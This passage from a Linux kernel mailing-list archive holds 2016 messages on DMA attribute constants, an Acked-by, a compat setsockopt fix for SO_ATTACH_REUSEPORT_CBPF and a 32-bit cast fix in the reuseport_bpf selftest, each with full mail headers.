	"linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
To: Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jun 03 09:50:58 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1b8jsf-00022N-Tx
	for glki-iommu@m.gmane.org; Fri, 03 Jun 2016 09:50:58 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 919E3941;
	Fri,  3 Jun 2016 07:50:50 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E6EFE8F5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:50:49 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout1.w1.samsung.com (mailout1.w1.samsung.com
	[210.118.77.11])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id E0B10163
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri,  3 Jun 2016 07:50:48 +0000 (UTC)
Original-Received: from eucpsbgm1.samsung.com (unknown [203.254.199.244])
	by mailout1.w1.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTP id <0O8600HAGR4LX5A0-cPDsiUgaCBcN6F2oBFWwZJQQlyuF8BCz@public.gmane.org> for
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org; Fri, 03 Jun 2016 08:50:45 +0100 (BST)
X-AuditID: cbfec7f4-f796c6d000001486-57-575136d4a4ca
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
	by eucpsbgm1.samsung.com (EUCPMTA) with SMTP id 4C.49.05254.4D631575;
	Fri, 3 Jun 2016 08:50:44 +0100 (BST)
Original-Received: from [106.120.53.17] by eusync3.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTPA id <0O860013ER4HYX40-uuLvPlfRdKdLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Fri,
	03 Jun 2016 08:50:44 +0100 (BST)
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
	Thunderbird/38.8.0
In-reply-to: <CAMuHMdXWMf7Dt77wSUj8NytQqb99jzDiAz46kJkAEz+6BX3Uvw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAA02SfUxbZRTGfe97e28hq1462F6nmUmNLjYZgwnLiZplc0u8cXFjcQnOzLkO
	bmBKGWlXdCZLGj6qsHaUAhNKZaUtUGZLC0SFZYzQEarbqpCNiQ4Y4sZgDFqZKFpktjTG/fc8
	5/yenJOTI8ZSD7NBfCz/hKDKV+TJmHj66op/ePONbfszU76uSIGy7jALfq+WAcP331Fg8bgY
	+Mc0wEJ7rUcEoaJSDI6iXBj6vJSGYLMeQYvzLbi9cAvBfFGYhpW5BxhuLAYZqGytwnC6bZIF
	3dmdYLkXQDD1cw8Fjpnt0DfyBwtXjTYKzravh6XF4kjwSjsGa++rMN8wjeF223kR3POZMVh+
	2grLdSEKyuq9LMxOp0Kz/S6Cu8ZRBubH+hGYe8do6Pj1pggqewMs9NcbKXB+2YahUeeg4dsz
	IREES7oYCH02L4LrFywMtNxxY9B7v4rY4qHoVp/SYKwxsVDvqKBh8sogBYEGPwNTPgMNCxOP
	MBgbizHU/nApco/lagylo24KWgNuFnw1PQjCf66Idhzk7/Q1UHxpj5HhXQ0uxF+/OYT58N8m
	xP/YlsHPVhkjpTMGiu+b9DG8bUZL893mMZYP/XaYt3ZoeH33NcR3OuW8/eIMlZH+bvxr2ULe
	sUJBtWX7kfjcpsllUYGO+fjyw3NIi6bpciQWEy6N2JqeKkdxEbmODI57mHIUL5ZyTYgM/rKI
	YmYKkdmSESZKreV4YhipxtFwIreZWP6iYsw1RPSVo6sGc70bSfdScDXAcC+TzhYHExuxkRhO
	m+iolnByYjOFUVTT3Avkkd6GozqJe4eYv1miYkwCWaoaX+XjuLdJbY0XRQdjbhOp 
X-Spam-Status: No, score=-8.3 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_HI,
	RP_MATCHES_RCVD autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:13920 gmane.linux.ports.mips.general:54934 gmane.comp.video.dri.devel:156000 gmane.linux.kernel.samsung-soc:54500 gmane.linux.ports.sh.devel:54153 gmane.linux.ports.arm.omap:136376 gmane.linux.kernel:2234061 gmane.comp.freedesktop.xorg.drivers.freedreno:85 gmane.linux.ports.ia64:26840 gmane.linux.documentation:38691 gmane.comp.freedesktop.xorg.nouveau:25074 gmane.linux.ports.hexagon:1025 gmane.linux.ports.arm.rockchip:7017 gmane.linux.drivers.video-input-infrastructure:102613 gmane.linux.ports.arm.msm:19310 gmane.linux.kernel.metag:1101 gmane.linux.ports.arm.kernel:503667 gmane.linux.kernel.pci:52273 gmane.linux.drivers.rdma:37386 gmane.linux.kernel.arc:1159 gmane.linux.ports.x86-64.general:2662 gmane.linux.ports.parisc:26819 gmane.linux.ports.alpha:3757 gmane.linux.ports.sparc:23022 gmane.linux.ports.arm.mediatek:5524 gmane.linux.ports.ppc64.devel:128081
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/13920>

On 06/03/2016 09:17 AM, Geert Uytterhoeven wrote:
> Hi Krzysztof,
> 
> On Thu, Jun 2, 2016 at 5:39 PM, Krzysztof Kozlowski
> <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org> wrote:
>> --- a/include/linux/dma-mapping.h
>> +++ b/include/linux/dma-mapping.h
>> @@ -5,13 +5,25 @@
> 
>> +/**
>> + * List of possible attributes associated with a DMA mapping. The semantics
>> + * of each attribute should be defined in Documentation/DMA-attributes.txt.
>> + */
>> +#define DMA_ATTR_WRITE_BARRIER         (1UL << 1)
> 
> Any particular reason they start at 2, not 1?

No reason. I'll fix this in next version (and trim Cc-list). Anyway the
values of constants won't match old ones but that should not be problem
(unless they are hard-coded somewhere).

Best regards,
Krzysztof



From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson@axis.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.x86-64.general,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.msm,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.rdma,gmane.linux.kernel.iommu,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.omap
Subject: Re: [RFC v3 10/45] cris: dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 3 Jun 2016 09:52:19 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20160603075219.GF3183@axis.com>
References: <1464881987-13203-1-git-send-email-k.kozlowski@samsung.com>
 <1464881987-13203-11-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464940392 18778 80.91.229.3 (3 Jun 2016 07:53:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 07:53:12 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Stefano Stabellini <sstabellini@kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Steven Miao <realmz6@gmail.com>,
        Mark Salter <msalter@redhat.com>,
        Aurelien Jacquiot <a-jacquiot@ti.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jespern@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Konrad Rzeszutek
To: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jun 03 09:52:56 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1b8juW-0003Vj-0s
	for sgi-linux-mips@gmane.org; Fri, 03 Jun 2016 09:52:52 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:40250 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27041868AbcFCHwuLHXOm (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Jun 2016 09:52:50 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Jun 2016 09:52:36 +0200 (CEST)
Original-Received: from bes.se.axis.com ([195.60.68.10]:52609 "EHLO bes.se.axis.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27039906AbcFCHwc6FWCm (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 3 Jun 2016 09:52:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
        by bes.se.axis.com (Postfix) with ESMTP id 427602E157;
        Fri,  3 Jun 2016 09:52:25 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bes.se.axis.com
Original-Received: from bes.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bes.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id 5e42oY5vbzkx; Fri,  3 Jun 2016 09:52:24 +0200 (CEST)
Original-Received: from boulder.se.axis.com (boulder.se.axis.com [10.0.2.104])
        by bes.se.axis.com (Postfix) with ESMTP id 3E8382E181;
        Fri,  3 Jun 2016 09:52:20 +0200 (CEST)
Original-Received: from boulder.se.axis.com (localhost [127.0.0.1])
        by postfix.imss71 (Postfix) with ESMTP id 1C24019BC;
        Fri,  3 Jun 2016 09:52:20 +0200 (CEST)
Original-Received: from seth.se.axis.com (seth.se.axis.com [10.0.2.172])
        by boulder.se.axis.com (Postfix) with ESMTP id 05CD419B7;
        Fri,  3 Jun 2016 09:52:20 +0200 (CEST)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id ECBE1FC9;
        Fri,  3 Jun 2016 09:52:19 +0200 (CEST)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id E4B0A800EB; Fri,  3 Jun 2016 09:52:19 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1464881987-13203-11-git-send-email-k.kozlowski@samsung.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-archive-position: 53774
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jesper.nilsson@axis.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54935 gmane.linux.documentation:38692 gmane.linux.kernel:2234063 gmane.linux.ports.alpha:3758 gmane.linux.kernel.arc:1160 gmane.linux.ports.arm.kernel:503668 gmane.linux.ports.hexagon:1026 gmane.linux.ports.ia64:26841 gmane.linux.kernel.metag:1102 gmane.linux.ports.parisc:26820 gmane.linux.ports.ppc64.devel:128082 gmane.linux.ports.sh.devel:54154 gmane.linux.ports.sparc:23023 gmane.linux.ports.x86-64.general:2663 gmane.linux.kernel.pci:52274 gmane.comp.video.dri.devel:156001 gmane.linux.kernel.samsung-soc:54501 gmane.linux.ports.arm.mediatek:5525 gmane.linux.ports.arm.msm:19311 gmane.comp.freedesktop.xorg.drivers.freedreno:86 gmane.comp.freedesktop.xorg.nouveau:25075 gmane.linux.ports.arm.rockchip:7018 gmane.linux.drivers.rdma:37387 gmane.linux.kernel.iommu:13921 gmane.linux.drivers.video-input-infrastructure:102614 gmane.linux.ports.arm.omap:136377
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54935>

On Thu, Jun 02, 2016 at 05:39:12PM +0200, Krzysztof Kozlowski wrote:
> Split out subsystem specific changes for easier reviews. This will be
> squashed with main commit.

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

> Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com



From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: [PATCH] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 19:18:05 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20160603171805.GA3664@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464974336 20275 80.91.229.3 (3 Jun 2016 17:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 17:18:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Craig Gallek <kraig@google.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 03 19:18:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8sjo-0002vF-Lo
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 19:18:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752714AbcFCRSX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 13:18:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:49679 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751579AbcFCRSW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 13:18:22 -0400
Original-Received: from ls3530.box ([92.203.38.178]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MfF6I-1apfp42bzG-00OnE0; Fri, 03 Jun 2016 19:18:08
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:AJiOXifdu1ewN7NmHbHkLzxsTjYNU6/VX8VW/w5N0rfaa6KeYy4
 D+Dcd+aYq5MZdmGwvURhmU6TuWoXOcpJvBTh0UgHvdnprLnuf9EfJJGhC2Xi9kIdIBYpIIF
 1xQMW4nYSeWMuv2RcFFsbPhtQaZR/ogvG7OUlRSDWhrk89txZEwMw9EA8mqCRXDWhzJjNRj
 iz8Afxf40jqSMhSdXhVVA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:taAovmdbLj0=:h4HLDgpiKi/i3ChCPjnMtA
 wzPDFZ2yy0ZoPzfuGSTRRzWsvDx+PHRus0lkLL57hYWV4e/cN8r1W9waET0YWmvujsQGm0ffK
 0sB3XUaYwQHQMXVH3WVbVFQBo3WzIZUQn82MhljDvceWUi62WTetl/hdAOB//yBAmdTAV+RUc
 LvJJeZW5DOWKTf+NV2BoaYLxnS9AeP5ugcpM3wZecSVNWyZWZly3wF9q6cqB5hW/mvnBlRbzE
 +oVfi0KRjRF+H7mQapUkH8ugmCxhB+Sik+cDMADbzEKNmSdNaYZFUsdXSUcJDBcmvc+wn0coT
 uwthrcXllMW8WCg79TgDlI55hUL44pcsjK/TpNTu1o3jdpPskusrgp7UQw/AaXW68H5K4lgfQ
 i56Dii5RsYgUcBNya8J5tua1j/841tuU9NZI5UTQokPTh3/JpHeySpA8Zv7wsdbmHRKfDl8XB
 AVp+8XjWMWKgidHrSTFNk5uPSatSS3cwRu9pNrCpEv5T0sa1ROfEuyI5kWZml/toYmFDDKAJt
 3g6n/Z5gZNM0Www0IcNMeZ7V7S0EPuqjY8z0wh3Na0SxdWaqCV4kByo8JMHL9SqlV2AMsso/n
 7sm+8H4EGjuBFgf7YHUWBf5S32vTi0/FlroiEQF4H9Tht1S/a3DwELhA4C9B/YlKGCb6URFnW
 /ir2DeKhrzrOENg9JytT9f7RLXo5lClWoxAibl6LHq1FYJPE53VCZfd8+Mll2+/wehTDDOi/F
 SfX05470Lluy6UBIa7R7Xqi4bBxKaTs6J1mD04p22UEKDNJMfMTBZfubCuY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26821 gmane.linux.network:414991
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26821>

Commit 538950a ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")
missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF
setsockoption() option.

Since both SO_ATTACH_FILTER and SO_ATTACH_REUSEPORT_CBPF use a struct
sock_fprog let's combine the handling of both.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/net/compat.c b/net/compat.c
index 5cfd26a..7e2aac9 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -309,7 +309,7 @@ void scm_detach_fds_compat(struct msghdr *kmsg, struct scm_cookie *scm)
 	__scm_destroy(scm);
 }
 
-static int do_set_attach_filter(struct socket *sock, int level, int optname,
+static int do_sockopt_fix_sock_fprog(struct socket *sock, int level, int optname,
 				char __user *optval, unsigned int optlen)
 {
 	struct compat_sock_fprog __user *fprog32 = (struct compat_sock_fprog __user *)optval;
@@ -354,8 +354,9 @@ static int do_set_sock_timeout(struct socket *sock, int level,
 static int compat_sock_setsockopt(struct socket *sock, int level, int optname,
 				char __user *optval, unsigned int optlen)
 {
-	if (optname == SO_ATTACH_FILTER)
-		return do_set_attach_filter(sock, level, optname,
+	if (optname == SO_ATTACH_FILTER ||
+	    optname == SO_ATTACH_REUSEPORT_CBPF)
+		return do_sockopt_fix_sock_fprog(sock, level, optname,
 					    optval, optlen);
 	if (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO)
 		return do_set_sock_timeout(sock, level, optname, optval, optlen);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: [PATCH] soreuseport: Fix reuseport_bpf testcase on 32bit
 architectures
Date: Fri, 3 Jun 2016 19:19:20 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20160603171920.GB3664@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1464974426 21701 80.91.229.3 (3 Jun 2016 17:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 17:20:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Craig Gallek <kraig@google.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 03 19:20:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8sl0-0003hb-HK
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 19:19:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752164AbcFCRTi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 13:19:38 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53207 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751579AbcFCRTh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 13:19:37 -0400
Original-Received: from ls3530.box ([92.203.38.178]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MOSNd-1b5Hqa4AfV-005m8T; Fri, 03 Jun 2016 19:19:26
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:CbYcBuqaalOxH0YjxnY+3pUBdO2lLgbqF47n5EX4Y4q+1AQ6rNY
 eIuT5OCN+/3KcEbU/N2/+/+DDZrGGnMtMVbrCp1WULF534Ckw2+haGiitb4gab46n5CZyxA
 iNj/tIhgAWOmL7UtJD0eH8XxBANs44O6YAkVylMjQED3JGPjmG93yAv9ieUUOt/yK6J6KPW
 cDc7EDXytdXOlAuTKM2HA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CHkkU5OpLmE=:K7ctlo+PMw7+uRCgNA3ROJ
 BpGoqEzL4YeRt+oRy0bgpPR58lwQTcpRwNegnaJ/fF6/kWH+56qnGKOb7qF0cVKhAYPu+6yoI
 02ptJOpU2mphOgobKAu7kUGW1qW9wMmmBQfqvEtmt4iJZJaD04QqWMTwFF9fcx0TioPGqWgm7
 KTijaXIop+JRkjDEyVpcKKGtlR48YMKSodOFbZwOjuMogEIcSJ/y178sDvzzq8jVZO+EG97Kz
 suG2hc7M8X8sNZgZKKT/+Qz1lj3D8tDigByL0UKS+Vm/lm/5OF/IW0Q3JpzV3PC3dMOcBbknc
 V1nLJpIGU74ueMHB99/t10UQXBtlPvu6omcypMl8NZTJ9VEexPssG1Tdkg2chTUYDoY6LYuzg
 rwtZPHh4fIyGs+v56Jy8c9KIPTxVPx/FuPK7TZl7ubSGRDK1VR5KKUXDKfOFIseJBO8lIQLm+
 KhvaWPey6JDipxtZjG3kkFDBMKRI7u8A/EU6tcELU4locGIV/PXYuVgh1mhOWIJEgNmJs1Cxt
 CB15p4WHy7cgLAthn6BxKH22OXjvF8W0uaP2uQkMhRiSY4K4J08VDIDLhkQ90jq4DD6aHS3NW
 P3nCfng0Z8Zezw9mz0ycGnQNsT3JBNjMjaISrRL2a7yWO5+D3CPc3xUBMa81ad8bvekW7cPRP
 y0mxR3zc7fJDfqNPMAHw44au0GfcksMKybs/6Nhux/5Csba1QFVxzfSQgyzcIyEitnU5l0Qwa
 UdkSIm99spvAGU8eADxX7S5MN1FMPEct9MyyuOThSyH1RHoKsHzyRSh8lFM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26822 gmane.linux.network:414993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26822>

This fixes the following compiler warnings when compiling the
reuseport_bpf testcase on a 32 bit platform:

reuseport_bpf.c: In function =E2=80=98attach_ebpf=E2=80=99:
reuseport_bpf.c:114:15: warning: cast from pointer to integer of iffere=
nt size [-Wpointer-to-int-cast]

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/tools/testing/selftests/net/reuseport_bpf.c b/tools/testin=
g/selftests/net/reuseport_bpf.c
index 96ba386..4a82174 100644
--- a/tools/testing/selftests/net/reuseport_bpf.c
+++ b/tools/testing/selftests/net/reuseport_bpf.c
@@ -111,9 +111,9 @@ static void attach_ebpf(int fd, uint16_t mod)
 	memset(&attr, 0, sizeof(attr));
 	attr.prog_type =3D BPF_PROG_TYPE_SOCKET_FILTER;
 	attr.insn_cnt =3D ARRAY_SIZE(prog);
-	attr.insns =3D (uint64_t)prog;
-	attr.license =3D (uint64_t)bpf_license;
-	attr.log_buf =3D (uint64_t)bpf_log_buf;
+	attr.insns =3D (unsigned long) &prog;
+	attr.license =3D (unsigned long) &bpf_license;
+	attr.log_buf =3D (unsigned long) &bpf_log_buf;
 	attr.log_size =3D sizeof(bpf_log_buf);
 	attr.log_level =3D 1;
 	attr.kern_version =3D 0;
@@ -351,8 +351,8 @@ static void test_filter_no_reuseport(const struct t=
est_params p)
 	memset(&eprog, 0, sizeof(eprog));
 	eprog.prog_type =3D BPF_PROG_TYPE_SOCKET_FILTER;
 	eprog.insn_cnt =3D ARRAY_SIZE(ecode);
-	eprog.insns =3D (uint64_t)ecode;
-	eprog.license =3D (uint64_t)bpf_license;
+	eprog.insns =3D (unsigned long) &ecode;
+	eprog.license =3D (unsigned long) &bpf_license;
 	eprog.kern_version =3D 0;
=20
 	memset(&cprog, 0, sizeof(cprog));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
